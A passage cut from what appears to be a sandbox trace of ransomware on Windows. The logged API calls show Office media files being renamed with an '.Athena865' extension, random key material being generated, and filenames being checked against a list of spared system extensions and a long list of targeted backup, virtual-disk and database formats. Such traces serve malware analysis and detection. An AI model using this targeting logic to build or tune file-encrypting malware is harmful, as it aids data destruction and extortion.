Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf.athena865"), dwFlags=0x1) returned 1 [0138.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.863] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4534) returned 1 [0138.863] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.864] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.864] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.866] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.866] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.866] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.867] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0252349.WMF" | out: lpString1="J0252349.WMF") returned="J0252349.WMF" [0138.867] lstrlenW (lpString="J0252349.WMF") returned 12 [0138.867] lstrlenW (lpString="Athena865") returned 9 [0138.867] lstrcmpiW (lpString1="52349.WMF", lpString2="Athena865") returned -1 [0138.867] lstrlenW (lpString=".dll") returned 4 [0138.867] lstrcmpiW (lpString1="J0252349.WMF", lpString2=".dll") returned 1 [0138.867] lstrlenW (lpString=".lnk") returned 4 [0138.867] lstrcmpiW (lpString1="J0252349.WMF", lpString2=".lnk") returned 1 [0138.867] lstrlenW (lpString=".ini") returned 4 [0138.867] lstrcmpiW (lpString1="J0252349.WMF", lpString2=".ini") returned 1 [0138.867] lstrlenW (lpString=".sys") returned 4 [0138.867] lstrcmpiW (lpString1="J0252349.WMF", lpString2=".sys") returned 1 [0138.867] lstrlenW (lpString="J0252349.WMF") returned 12 [0138.867] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.Athena865") returned 71 [0138.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf.athena865"), dwFlags=0x1) returned 1 [0138.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.869] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5516) returned 1 [0138.869] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.869] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.870] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.874] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.874] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.874] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.875] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0278882.WMF" | out: lpString1="J0278882.WMF") returned="J0278882.WMF" [0138.875] lstrlenW (lpString="J0278882.WMF") returned 12 [0138.875] lstrlenW (lpString="Athena865") returned 9 [0138.875] lstrcmpiW (lpString1="78882.WMF", lpString2="Athena865") returned -1 [0138.875] lstrlenW (lpString=".dll") returned 4 [0138.875] lstrcmpiW (lpString1="J0278882.WMF", lpString2=".dll") returned 1 [0138.875] lstrlenW (lpString=".lnk") returned 4 [0138.875] lstrcmpiW (lpString1="J0278882.WMF", lpString2=".lnk") returned 1 [0138.875] lstrlenW (lpString=".ini") returned 4 [0138.875] lstrcmpiW (lpString1="J0278882.WMF", lpString2=".ini") returned 1 [0138.875] lstrlenW (lpString=".sys") returned 4 [0138.875] lstrcmpiW (lpString1="J0278882.WMF", lpString2=".sys") returned 1 [0138.875] lstrlenW (lpString="J0278882.WMF") returned 12 [0138.875] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.Athena865") returned 71 [0138.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf.athena865"), dwFlags=0x1) returned 1 [0138.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.877] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3792) returned 1 [0138.877] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.878] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.878] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.880] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.881] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.881] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.881] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0281904.WMF" | out: lpString1="J0281904.WMF") returned="J0281904.WMF" [0138.881] lstrlenW (lpString="J0281904.WMF") returned 12 [0138.881] lstrlenW (lpString="Athena865") returned 9 [0138.881] lstrcmpiW (lpString1="81904.WMF", lpString2="Athena865") returned -1 [0138.881] lstrlenW (lpString=".dll") returned 4 [0138.881] lstrcmpiW (lpString1="J0281904.WMF", lpString2=".dll") returned 1 [0138.881] lstrlenW (lpString=".lnk") returned 4 [0138.881] lstrcmpiW (lpString1="J0281904.WMF", lpString2=".lnk") returned 1 [0138.881] lstrlenW (lpString=".ini") returned 4 [0138.881] lstrcmpiW (lpString1="J0281904.WMF", lpString2=".ini") returned 1 [0138.881] lstrlenW (lpString=".sys") returned 4 [0138.882] lstrcmpiW (lpString1="J0281904.WMF", lpString2=".sys") returned 1 [0138.882] lstrlenW (lpString="J0281904.WMF") returned 12 [0138.882] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.Athena865") returned 71 [0138.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf.athena865"), dwFlags=0x1) returned 1 [0138.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.884] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20474) returned 1 [0138.884] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.885] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.885] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.888] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.888] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.888] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.889] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0283209.GIF" | out: lpString1="J0283209.GIF") returned="J0283209.GIF" [0138.889] lstrlenW (lpString="J0283209.GIF") returned 12 [0138.889] lstrlenW (lpString="Athena865") returned 9 [0138.889] lstrcmpiW (lpString1="83209.GIF", lpString2="Athena865") returned -1 [0138.889] lstrlenW (lpString=".dll") returned 4 [0138.889] lstrcmpiW (lpString1="J0283209.GIF", lpString2=".dll") returned 1 [0138.889] lstrlenW (lpString=".lnk") returned 4 [0138.889] lstrcmpiW (lpString1="J0283209.GIF", lpString2=".lnk") returned 1 [0138.889] lstrlenW (lpString=".ini") returned 4 [0138.889] lstrcmpiW (lpString1="J0283209.GIF", lpString2=".ini") returned 1 [0138.889] lstrlenW (lpString=".sys") returned 4 [0138.889] lstrcmpiW (lpString1="J0283209.GIF", lpString2=".sys") returned 1 [0138.889] lstrlenW (lpString="J0283209.GIF") returned 12 [0138.890] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.Athena865") returned 71 [0138.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif.athena865"), dwFlags=0x1) returned 1 [0138.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.892] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19910) returned 1 [0138.893] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.893] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.893] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.896] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.896] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.896] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.897] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0284916.JPG" | out: lpString1="J0284916.JPG") returned="J0284916.JPG" [0138.897] lstrlenW (lpString="J0284916.JPG") returned 12 [0138.897] lstrlenW (lpString="Athena865") returned 9 [0138.897] lstrcmpiW (lpString1="84916.JPG", lpString2="Athena865") returned -1 [0138.897] lstrlenW (lpString=".dll") returned 4 [0138.897] lstrcmpiW (lpString1="J0284916.JPG", lpString2=".dll") returned 1 [0138.897] lstrlenW (lpString=".lnk") returned 4 [0138.897] lstrcmpiW (lpString1="J0284916.JPG", lpString2=".lnk") returned 1 [0138.897] lstrlenW (lpString=".ini") returned 4 [0138.897] lstrcmpiW (lpString1="J0284916.JPG", lpString2=".ini") returned 1 [0138.897] lstrlenW (lpString=".sys") returned 4 [0138.897] lstrcmpiW (lpString1="J0284916.JPG", lpString2=".sys") returned 1 [0138.897] lstrlenW (lpString="J0284916.JPG") returned 12 [0138.898] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.Athena865") returned 71 [0138.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg.athena865"), dwFlags=0x1) returned 1 [0138.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.899] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25315) returned 1 [0138.899] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.900] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.900] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.903] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.903] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.903] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.904] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0285360.WMF" | out: lpString1="J0285360.WMF") returned="J0285360.WMF" [0138.904] lstrlenW (lpString="J0285360.WMF") returned 12 [0138.904] lstrlenW (lpString="Athena865") returned 9 [0138.904] lstrcmpiW (lpString1="85360.WMF", lpString2="Athena865") returned -1 [0138.904] lstrlenW (lpString=".dll") returned 4 [0138.904] lstrcmpiW (lpString1="J0285360.WMF", lpString2=".dll") returned 1 [0138.904] lstrlenW (lpString=".lnk") returned 4 [0138.904] lstrcmpiW (lpString1="J0285360.WMF", lpString2=".lnk") returned 1 [0138.904] lstrlenW (lpString=".ini") returned 4 [0138.904] lstrcmpiW (lpString1="J0285360.WMF", lpString2=".ini") returned 1 [0138.904] lstrlenW (lpString=".sys") returned 4 [0138.904] lstrcmpiW (lpString1="J0285360.WMF", lpString2=".sys") returned 1 [0138.905] lstrlenW (lpString="J0285360.WMF") returned 12 [0138.905] lstrlenW (lpString="bak") returned 3 [0138.905] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.905] lstrlenW (lpString="ba_") returned 3 [0138.905] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.905] lstrlenW (lpString="dbb") returned 3 [0138.905] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.905] lstrlenW (lpString="vmdk") returned 4 [0138.905] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.905] lstrlenW (lpString="rar") returned 3 [0138.905] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.905] lstrlenW (lpString="zip") returned 3 [0138.905] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.905] lstrlenW (lpString="tgz") returned 3 [0138.905] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.905] lstrlenW (lpString="vbox") returned 4 [0138.905] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.905] lstrlenW (lpString="vdi") returned 3 [0138.905] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.905] lstrlenW (lpString="vhd") returned 3 [0138.905] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.905] lstrlenW (lpString="vhdx") returned 4 [0138.905] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.905] lstrlenW (lpString="avhd") returned 4 [0138.905] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.905] lstrlenW (lpString="db") returned 2 [0138.905] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.905] lstrlenW (lpString="db2") returned 3 [0138.906] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.906] lstrlenW (lpString="db3") returned 3 [0138.906] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.906] lstrlenW (lpString="dbf") returned 3 [0138.906] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.906] lstrlenW (lpString="mdf") returned 3 [0138.906] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.906] lstrlenW (lpString="mdb") returned 3 [0138.906] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.906] lstrlenW (lpString="sql") returned 3 [0138.906] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.906] lstrlenW (lpString="sqlite") returned 6 [0138.906] lstrcmpiW (lpString1="60.WMF", lpString2="sqlite") returned -1 [0138.906] lstrlenW (lpString="sqlite3") returned 7 [0138.906] lstrcmpiW (lpString1="360.WMF", lpString2="sqlite3") returned -1 [0138.906] lstrlenW (lpString="sqlitedb") returned 8 [0138.906] lstrcmpiW (lpString1="5360.WMF", lpString2="sqlitedb") returned -1 [0138.906] lstrlenW (lpString="xml") returned 3 [0138.906] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.906] lstrlenW (lpString="$er") returned 3 [0138.906] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.906] lstrlenW (lpString="4dd") returned 3 [0138.906] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.906] lstrlenW (lpString="4dl") returned 3 [0138.906] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.906] lstrlenW (lpString="^^^") returned 3 [0138.906] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.906] lstrlenW (lpString="abs") returned 3 [0138.907] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.907] lstrlenW (lpString="abx") returned 3 [0138.907] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.907] lstrlenW (lpString="accdb") returned 5 [0138.907] lstrcmpiW (lpString1="0.WMF", lpString2="accdb") returned -1 [0138.907] lstrlenW (lpString="accdc") returned 5 [0138.907] lstrcmpiW (lpString1="0.WMF", lpString2="accdc") returned -1 [0138.907] lstrlenW (lpString="accde") returned 5 [0138.907] lstrcmpiW (lpString1="0.WMF", lpString2="accde") returned -1 [0138.907] lstrlenW (lpString="accdr") returned 5 [0138.907] lstrcmpiW (lpString1="0.WMF", lpString2="accdr") returned -1 [0138.907] lstrlenW (lpString="accdt") returned 5 [0138.907] lstrcmpiW (lpString1="0.WMF", lpString2="accdt") returned -1 [0138.907] lstrlenW (lpString="accdw") returned 5 [0138.907] lstrcmpiW (lpString1="0.WMF", lpString2="accdw") returned -1 [0138.907] lstrlenW (lpString="accft") returned 5 [0138.907] lstrcmpiW (lpString1="0.WMF", lpString2="accft") returned -1 [0138.907] lstrlenW (lpString="adb") returned 3 [0138.907] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.907] lstrlenW (lpString="adb") returned 3 [0138.907] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.907] lstrlenW (lpString="ade") returned 3 [0138.907] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.907] lstrlenW (lpString="adf") returned 3 [0138.907] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.907] lstrlenW (lpString="adn") returned 3 [0138.907] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.907] lstrlenW (lpString="adp") returned 3 [0138.908] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.908] lstrlenW (lpString="alf") returned 3 [0138.908] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.908] lstrlenW (lpString="ask") returned 3 [0138.908] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.908] lstrlenW (lpString="btr") returned 3 [0138.908] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.908] lstrlenW (lpString="cat") returned 3 [0138.908] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.908] lstrlenW (lpString="cdb") returned 3 [0138.908] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.908] lstrlenW (lpString="ckp") returned 3 [0138.908] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.908] lstrlenW (lpString="cma") returned 3 [0138.908] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.908] lstrlenW (lpString="cpd") returned 3 [0138.908] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.908] lstrlenW (lpString="dacpac") returned 6 [0138.908] lstrcmpiW (lpString1="60.WMF", lpString2="dacpac") returned -1 [0138.908] lstrlenW (lpString="dad") returned 3 [0138.908] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.908] lstrlenW (lpString="dadiagrams") returned 10 [0138.908] lstrcmpiW (lpString1="285360.WMF", lpString2="dadiagrams") returned -1 [0138.908] lstrlenW (lpString="daschema") returned 8 [0138.908] lstrcmpiW (lpString1="5360.WMF", lpString2="daschema") returned -1 [0138.908] lstrlenW (lpString="db-journal") returned 10 [0138.908] lstrcmpiW (lpString1="285360.WMF", lpString2="db-journal") returned -1 [0138.908] lstrlenW (lpString="db-shm") returned 6 [0138.908] lstrcmpiW (lpString1="60.WMF", lpString2="db-shm") returned -1 [0138.909] lstrlenW (lpString="db-wal") returned 6 [0138.909] lstrcmpiW (lpString1="60.WMF", lpString2="db-wal") returned -1 [0138.909] lstrlenW (lpString="dbc") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.909] lstrlenW (lpString="dbs") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.909] lstrlenW (lpString="dbt") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.909] lstrlenW (lpString="dbv") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.909] lstrlenW (lpString="dbx") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.909] lstrlenW (lpString="dcb") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.909] lstrlenW (lpString="dct") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.909] lstrlenW (lpString="dcx") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0138.909] lstrlenW (lpString="ddl") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0138.909] lstrlenW (lpString="dlis") returned 4 [0138.909] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0138.909] lstrlenW (lpString="dp1") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0138.909] lstrlenW (lpString="dqy") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0138.909] lstrlenW (lpString="dsk") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0138.909] lstrlenW (lpString="dsn") returned 3 [0138.909] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0138.909] lstrlenW (lpString="dtsx") returned 4 [0138.910] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0138.910] lstrlenW (lpString="dxl") returned 3 [0138.910] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0138.910] lstrlenW (lpString="eco") returned 3 [0138.910] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0138.910] lstrlenW (lpString="ecx") returned 3 [0138.910] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0138.910] lstrlenW (lpString="edb") returned 3 [0138.910] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0138.910] lstrlenW (lpString="epim") returned 4 [0138.910] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0138.910] lstrlenW (lpString="fcd") returned 3 [0138.910] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0138.910] lstrlenW (lpString="fdb") returned 3 [0138.910] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0138.910] lstrlenW (lpString="fic") returned 3 [0138.910] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0138.910] lstrlenW (lpString="flexolibrary") returned 12 [0138.910] lstrlenW (lpString="fm5") returned 3 [0138.910] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0138.910] lstrlenW (lpString="fmp") returned 3 [0138.910] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0138.910] lstrlenW (lpString="fmp12") returned 5 [0138.910] lstrcmpiW (lpString1="0.WMF", lpString2="fmp12") returned -1 [0138.910] lstrlenW (lpString="fmpsl") returned 5 [0138.910] lstrcmpiW (lpString1="0.WMF", lpString2="fmpsl") returned -1 [0138.910] lstrlenW (lpString="fol") returned 3 [0138.910] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0138.910] lstrlenW (lpString="fp3") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0138.911] lstrlenW (lpString="fp4") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0138.911] lstrlenW (lpString="fp5") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0138.911] lstrlenW (lpString="fp7") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0138.911] lstrlenW (lpString="fpt") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0138.911] lstrlenW (lpString="frm") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0138.911] lstrlenW (lpString="gdb") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.911] lstrlenW (lpString="gdb") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.911] lstrlenW (lpString="grdb") returned 4 [0138.911] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0138.911] lstrlenW (lpString="gwi") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", 